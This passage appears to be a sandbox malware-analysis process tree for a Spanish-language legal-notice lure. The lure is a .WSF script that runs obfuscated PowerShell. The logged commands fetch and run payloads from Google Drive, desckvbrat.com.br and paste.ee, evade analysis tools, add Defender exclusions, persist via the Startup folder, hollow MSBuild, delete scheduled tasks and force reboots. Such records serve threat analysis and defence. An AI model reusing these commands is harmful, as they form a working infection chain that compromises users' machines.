'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4504
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                          4⤵
                          • Blocklisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:404
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
                            5⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1704
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3432
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3376
                            • C:\Windows\SYSTEM32\cmd.exe
                              cmd.exe /c mkdir "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"
                              6⤵
                                PID:2616
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ecxul.ps1"
                                6⤵
                                • Blocklisted process makes network request
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3888
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                  7⤵
                                  • Drops desktop.ini file(s)
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:4520
                                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\yifymh.pdf"
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    • Checks processor information in registry
                                    • Modifies Internet Explorer settings
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SetWindowsHookEx
                                    PID:3784
                                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:5040
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A804F788F9D958D5C1EE4368C766855A --mojo-platform-channel-handle=1732 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4736
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=9172DABFA892EC1FE49891E369716DE9 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=9172DABFA892EC1FE49891E369716DE9 --renderer-client-id=2 --mojo-platform-channel-handle=1744 --allow-no-sandbox-job /prefetch:1
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4940
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=557CC5D7B837E0C2AB2A1AA9B8C293A9 --mojo-platform-channel-handle=2292 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3680
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E38BE5540520A2777A63CA251C2E2181 --mojo-platform-channel-handle=1904 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3976
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C466F136E53C602517B0AFA3C90FDF8B --mojo-platform-channel-handle=2364 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2140
                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=5757BFD2FBCD707D2C283842047F89C3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=5757BFD2FBCD707D2C283842047F89C3 --renderer-client-id=8 --mojo-platform-channel-handle=1760 --allow-no-sandbox-job /prefetch:1
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1660
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\aettro.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5880
                                    • C:\Windows\SysWOW64\diskpart.exe
                                      diskpart disk 1
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:6820
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bbzoru.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:6712
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kurzza.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:6892
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hjnflw.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:6928
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\izypgc.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2252
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dkmdgi.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4380
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /Delete /TN * /F
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2660
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hpmpka.bat" "
                                    8⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:8324
                                    • C:\Windows\SysWOW64\shutdown.exe
                                      shutdown -r -t 8
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:8388
                              • C:\Windows\SYSTEM32\cmd.exe
                                cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                6⤵
                                  PID:4944
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4824,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4812 /prefetch:8
                          2⤵
                            PID:3152
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2348,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4864 /prefetch:8
                            2⤵
                              PID:1756
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5116,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5340 /prefetch:8
                              2⤵
                                PID:4968
                              • C:\Windows\System32\WScript.exe
                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                2⤵
                                • Blocklisted process makes network request
                                • Checks computer location settings
                                PID:2924
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 